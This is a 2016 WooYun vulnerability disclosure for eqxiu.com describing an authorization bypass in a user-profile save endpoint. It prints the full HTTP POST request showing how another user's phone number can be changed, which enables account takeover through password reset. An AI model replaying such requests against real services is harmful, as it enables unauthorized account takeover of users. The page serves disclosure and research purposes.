WooYun.org

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2016-0191904

漏洞标题：易企秀越权修改信息致任意用户登入

相关厂商：eqxiu.com

漏洞作者： Vern

提交时间：2016-04-03 12:58

修复时间：2016-04-08 13:00

公开时间：2016-04-08 13:00

漏洞类型：未授权访问/权限绕过

危害等级：高

自评Rank：20

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏

分享漏洞：

漏洞详情

披露状态：

2016-04-03： 细节已通知厂商并且等待厂商处理中
2016-04-08： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

易企秀某接口越权修改任意用户信息 导致可登入任意账号 然后通过密码找回流程可以控制账号

详细说明：

POST /m/u/save HTTP/1.1
user-agent: YiQiXiu Android 2.2.1
Cookie: JSESSIONID=1f89fcbda4a942df86525d78b9b1ae71
Content-Length: 53
Content-Type: application/x-www-form-urlencoded
Host: m1.eqxiu.com
Connection: Keep-Alive
id=4a2d8aae508506ef0150ac5618b83814&phone=13888888888

漏洞证明：

修复方案：

版权声明：转载请注明来源 Vern@乌云

漏洞回应